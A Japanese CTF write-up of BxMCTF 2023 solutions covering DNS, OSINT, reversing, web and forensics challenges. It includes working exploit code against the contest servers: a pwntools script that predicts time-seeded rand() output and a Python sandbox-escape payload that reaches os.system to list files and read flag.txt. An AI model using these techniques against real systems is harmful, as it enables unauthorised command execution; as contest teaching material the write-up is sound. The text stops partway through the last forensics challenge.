BxMCTF 2023 Writeup

この大会は2023/5/30 13:00(JST)~2023/6/3 13:00(JST)に開催されました。
今回もチームで参戦。結果は1921点で667チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to BxMCTF! (General)

問題にフラグが書いてあった。

ctf{check_out_our_sponsors!}

New Website (General)

DNS_PROBE_FINISHED_NXDOMAINは存在しないドメインというエラーということらしい。アクセスできないので、digコマンドで情報を見てみる。

$ dig bxmgen2.jonathanw.dev TXT

; <<>> DiG 9.18.12-1-Debian <<>> bxmgen2.jonathanw.dev TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26993
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;bxmgen2.jonathanw.dev.         IN      TXT

;; ANSWER SECTION:
bxmgen2.jonathanw.dev.  1799    IN      TXT     "ctf{w41t_wh4ts_4_txt_r3c0rd}"

;; Query time: 48 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Tue May 30 15:29:51 JST 2023
;; MSG SIZE  rcvd: 91
ctf{w41t_wh4ts_4_txt_r3c0rd}

GeoGuessr IRL (General)

画像検索すると、ブルックリンブリッジの周辺の写真であることがわかる。写真の角度から近い位置は以下のペブルビーチの辺り。

https://www.google.co.jp/maps/@40.7045369,-73.9902818,3a,75y,256.35h,93.2t/data=!3m6!1e1!3m4!1sl46sNszJRsXll9uXZIdw5A!2e0!7i13312!8i6656?hl=ja&entry=ttu

what3wordsで該当する箇所あたりを調べる。

happen.system.privately
ctf{happen.system.privately}

Banking Issues (Binary Exploitation)

balancesは以下のように定義されている。

balances = [10, 20, 50, 16, 29, 52, 100000]

balanceのインデックスを5以下で指定し、その値だけwalletが増える。その結果100000以上になれば、フラグが表示される。インデックスに-1を指定すればよい。

$ nc 198.199.90.158 32979
Which account would you like to withdraw from? -1
You now have $100000 in your wallet.

Thanks for storing a lot of $$ at our bank.
You qualify for free wealth management services.
To access this service, please email ctf{0h_d34r_n3g4t1v3_1dx}@bxmctf.bank.

Thank you for banking with BxMCTF Bank.
ctf{0h_d34r_n3g4t1v3_1dx}

Math Class (Binary Exploitation)

最初の5問の足し算は普通に計算できるが、あとの5問は乱数を予測する必要がある。現在時刻をseedにしているので、予測することができる。C言語で必要な数だけ乱数を取得するものを作成し、呼び出すようにする。

$ cat predict_num.c
#include <stdio.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
    uint seed;

    if (argc != 2) {
        printf("Usage %s <seed>\n", argv[0]);
        exit(1);
    }

    seed = atoi(argv[1]);

    srand(seed);
    int lim = rand() % 8192;
    for (int i = 0; i < lim; i++) {
        rand();
    }
    for (int i = 0, a, b; i < 5; i++) {
        a = rand(); b = rand();
    }
    for (int i = 0, b, c; i < 5; i++) {
        b = rand(); c = rand();
        printf("%d %d\n", b, c);
    }
} 
$ gcc predict_num.c -o predict_num
#!/usr/bin/env python3
from pwn import *
import subprocess
import time

p = remote('198.199.90.158', 33240)

seed = int(time.time())

data = p.recvline().decode().rstrip()
print(data)

for i in range(5):
    data = p.recvline().decode().rstrip()
    print(data)
    ans = eval(data.split(' = ')[0])
    print(ans)
    p.sendline(str(ans).encode())

data = p.recvline().decode().rstrip()
print(data)

for i in range(5):
    data = p.recvline().decode().rstrip()
    print(data)
    c = int(data.split(' = ')[1])

    if i == 0:
        for sd in range(seed - 3, seed + 3):
            cmd = ('./predict_num ' + str(sd)).split(' ')
            output = subprocess.run(cmd, stdout=subprocess.PIPE)
            nums = output.stdout.rstrip().decode().splitlines()
            if int(nums[i].split(' ')[1]) == c:
                break
    else:
        assert int(nums[i].split(' ')[1]) == c

    b = int(nums[i].split(' ')[0])
    a = c - b
    print(a)
    p.sendline(str(a).encode())
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 198.199.90.158 on port 33240: Done
Ok, it's time to do some math!
2133326387 + 1972409159 = ?
4105735546
332247765 + 458126119 = ?
790373884
1357667795 + 1258837927 = ?
2616505722
795779589 + 1253141707 = ?
2048921296
510700662 + 2049925599 = ?
2560626261
Ok, let's switch it up. This time you give me the first number, and I give the rest!
? + # = 328535439
-1756442633
The equation was ? + 2084978072 = 328535439
? + # = 1040782939
129277265
The equation was ? + 911505674 = 1040782939
? + # = 1218476458
-355742919
The equation was ? + 1574219377 = 1218476458
? + # = 788810422
-564030772
The equation was ? + 1352841194 = 788810422
? + # = 904401826
-310429345
The equation was ? + 1214831171 = 904401826
Ok, you get the flag now, I guess
ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}
[*] Closed connection to 198.199.90.158 port 33240
ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}

Bonus: The Revenge of Checkpass 1 (Binary Exploitation)

pyjailの問題。

$ nc 198.199.90.158 35230
Enter a Python list: [c for c in "".__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('ls -la')
total 24
drwxr-xr-x 1 nobody nogroup 4096 May 30 04:15 .
drwxr-xr-x 1 nobody nogroup 4096 May 30 04:15 ..
-rw-rw-r-- 1 nobody nogroup   36 May 22 01:08 flag.txt
-rwxrwxr-x 1 nobody nogroup  611 May 22 01:08 run
That's not a list

$ nc 198.199.90.158 35230
Enter a Python list: [c for c in "".__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('cat flag.txt')
ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}
That's not a list
ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}

Deception (Reversing)

5個のbase64文字列がある。3個目は2回デコードし、それ以外は1回デコードする。4個目のデコード結果がJavaのコードになっている。

import java.io.*;
import java.util.*;
import java.time.*;
import java.text.*;
import java.math.*;
public class Deception {
    static FastReader FastReader = new FastReader();
    static BufferedWriter o = new BufferedWriter(new OutputStreamWriter(System.out));
    static PrintWriter pw;

    static char table[] = {
            'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
            '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
            's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
            'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
            '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
            'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
            '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
            '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
            'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
            'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
            '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
            'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
            's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
            'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
            'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
            '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
            'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
            'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
            'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
            'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
            '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
            'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
            'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
            'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
            '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
            's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
            'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
            'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
            'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
            'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
            'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
            'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
            'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
            'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
            'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
            'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
            'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
            '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
            '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
            '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
            'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
            'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y'
    };

    public static void main(String[] args) throws Exception {
        System.out.println("Welcome to the LMD Machine 3000!");
        System.out.println("Please enter an integer: ");

        int input = readInt();

        System.out.println();

        if (input < 1 || input > table.length) {
            System.out.println("Invalid Input");
            System.exit(0);
        }

        System.out.print("ctf{");

        for (int i = 0, idx = 1; i < 15; ++i) {
            idx = (idx * input) % table.length;
            System.out.print(table[idx]);
        }

        System.out.println("}");
    }

    static int readInt() {return FastReader.readInt();}
    static long readLong() {return FastReader.readLong();}
    static double readDouble() {return FastReader.readDouble();}
    static float readFloat() {return FastReader.readFloat();}
    static String readLine() {return FastReader.readLine();}
    static String next() {return FastReader.next();}
    static boolean readBool() {return FastReader.readBool();}

    static class FastReader extends PrintWriter {
        private final InputStream stream;
        private final byte[] buf = new byte[1 << 16];
        private int curChar, numChars;
        public FastReader() {this(System.in, System.out);}
        public FastReader(InputStream i, OutputStream o) {super(o);stream = i;}
        public FastReader(String i, String o) throws IOException {
            super(new FileWriter(o)); stream = new FileInputStream(i);
        }
        private int readByte() {
            if (numChars == -1) {throw new InputMismatchException();}
            if (curChar >= numChars) {
                curChar = 0;
                try {numChars = stream.read(buf);
                }catch(Exception e){throw new InputMismatchException();}
                if (numChars == -1) {return -1;}
            }
            return buf[curChar++];
        }
        public String next() {
            int c; do {c = readByte();} while (c <= ' ');
            StringBuilder res = new StringBuilder();
            do {res.appendCodePoint(c);c = readByte();} while (c > ' ');
            return res.toString();
        }
        public String readLine() {
            int c; do {c = readByte();} while (isEndLine(c));
            StringBuilder res = new StringBuilder();
            do {res.appendCodePoint(c);c = readByte();} while (c >= ' ');
            return res.toString();
        }
        public int readInt() {
            int c, sgn = 1, res = 0;
            do {c = readByte();} while (c <= ' ');
            if (c == '-') {sgn = -1;c = readByte();}
            do {
                if (c < '0' || c > '9') {throw new InputMismatchException();}
                res = 10 * res + c - '0';c = readByte();
            } while (c > ' ');
            return res * sgn;
        }

        /**
         * Psst
         *
         * https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharing
         */

        public double readDouble() {return Double.parseDouble(next());}
        public long readLong() {return Long.parseLong(next());}
        public float readFloat() {return Float.parseFloat(next());}
        public boolean readBool() {return Boolean.parseBoolean(next());}
        boolean isEndLine(int c) {return c == '\n' || c == '\r' || c == -1;}
    }
}

この処理の概要は以下の通り。

・table: 既知の文字の配列
・input: 数値入力
・inputが1より小さいかtableの長さより大きい場合、エラー
・"ctf{"を出力
・idx = 1
・15回以下繰り返し
 ・idx = (idx * input) % tableの長さ
 ・table[idx]を出力
・"}"を出力

全パターンを出力してみる。

#!/usr/bin/env python3
table = [
    'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
    '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
    's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
    'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
    '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
    'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
    '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
    '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
    'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
    'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
    '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
    'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
    's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
    'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
    'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
    '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
    'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
    'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
    'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
    'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
    '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
    'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
    'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
    'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
    '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
    'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
    'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
    '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
    's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
    'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
    'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
    'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
    'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
    'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
    'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
    'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
    'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
    'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
    'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
    'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
    'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
    'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
    'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
    'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
    '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
    '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
    '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
    'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
    'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
    'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
    'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
    'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
    'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
    'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
    'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
    'H', '3', 'I', 'W', 'Y'
]

for input in range(1, len(table) + 1):
    idx = 1
    flag = ''
    for i in range(15):
        idx = (idx * input) % len(table)
        flag += table[idx]
    if '}' not in flag:
        flag = 'ctf{%s}' % flag
        print(flag)

結果は特に英単語になっていそうなものもない。他に手掛かりを探す。https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharingにアクセスすると、Key.txtがダウンロードできる。
Brainf*ck言語になっているので、https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。その結果以下のbase64文字列が表示された。

Um9zZXMgYXJlIHJlZCwKVmlvbGV0cyBhcmUgYmx1ZSwKSWYgb25lIHdhbnRzIHRvIHBpY2sgdGhlIGNvcnJlY3QgZmxhZywKVGhlbiB0aGV5IHNob3VsZCBzZWVrIHRoZSBVbml4IEVwb2NoIGFzIGEgY2x1ZQ==

base64デコードする。

$ echo Um9zZXMgYXJlIHJlZCwKVmlvbGV0cyBhcmUgYmx1ZSwKSWYgb25lIHdhbnRzIHRvIHBpY2sgdGhlIGNvcnJlY3QgZmxhZywKVGhlbiB0aGV5IHNob3VsZCBzZWVrIHRoZSBVbml4IEVwb2NoIGFzIGEgY2x1ZQ== | base64 -d
Roses are red,
Violets are blue,
If one wants to pick the correct flag,
Then they should seek the Unix Epoch as a clue

全然わからないので、1個1個Submitしてみる。

ctf{hjwilj111970djs}

MCV5U (Reversing)

valがいくつになるかわからないが、それほど大きい値にならないと推測し、ブルートフォースでハッシュの条件を満たすものを探す。割り出すことができれば、あとはそれを元にフラグにする。

#!/usr/bin/env python3
import hashlib

VERIFY_KEY = "46e1b8845b40bc9d977b8932580ae44c"

found = False
for val in range(-300000 * 1000, 300000 * 1000):
    val = str(val)
    val_md5 = hashlib.md5(val.encode()).hexdigest()
    if val_md5 == VERIFY_KEY:
        found = True
        break

assert found

key = str(hashlib.sha256(val.encode()).digest())
flag = "ctf{" + "".join(list([x for x in key if x.isalpha() or x.isnumeric()])) + "}"
print(flag)
ctf{bx8b2xdcx80x8bxafx90x16x0fxc9Cx87x99Gx8cx1dxb9x8exb4xfaLx93xcfx9dxcfyx13xb5Lxee}

Blank Space - I mean Page (Web)

$ curl https://bxmweb1.jonathanw.dev/robots.txt
User-agent: *
Disallow: /very-secretly-hidden

$ curl https://bxmweb1.jonathanw.dev/very-secretly-hidden
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

$ curl https://bxmweb1.jonathanw.dev/very-secretly-hidden -L
ctf{sdh57349857243fkhkwAklkAH}
ctf{sdh57349857243fkhkwAklkAH}

Repository Security (Web)

app.pyにユーザのID, パスワードが書いてある。chuck / norrisでログインすると、フラグが表示された。

ctf{wh4t_4_h4rd_qu3sti0n}

Selfie (Forensics)

$ exiftool BxMCTF-Foren-1.jpg 
ExifTool Version Number         : 12.57
File Name                       : BxMCTF-Foren-1.jpg
Directory                       : .
File Size                       : 70 kB
File Modification Date/Time     : 2023:05:21 16:46:28+09:00
File Access Date/Time           : 2023:05:30 14:41:27+09:00
File Inode Change Date/Time     : 2023:05:30 14:41:04+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
XMP Toolkit                     : Image::ExifTool 12.60
License                         : Y3Rme25xaUoyQnQyaVZEa2d6fQ
Image Width                     : 1241
Image Height                    : 1157
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1241x1157
Megapixels                      : 1.4

Licenseにbase64文字列らしきものが設定されているので、base64デコードする。

$ echo Y3Rme25xaUoyQnQyaVZEa2d6fQ== | base64 -d
ctf{nqiJ2Bt2iVDkgz}
ctf{nqiJ2Bt2iVDkgz}

Street View (Forensics)

撮影した場所の建物を所有する会社のドメイン名を答える必要がある。

$ exiftool BxMCTF-Foren-2.png                  
ExifTool Version Number         : 12.57
File Name                       : BxMCTF-Foren-2.png
Directory                       : .
File Size                       : 1186 kB
File Modification Date/Time     : 2023:05:21 16:56:04+09:00
File Access Date/Time           : 2023:05:30 15:41:45+09:00
File Inode Change Date/Time     : 2023:05:30 15:41:34+09:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1203
Image Height                    : 709
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
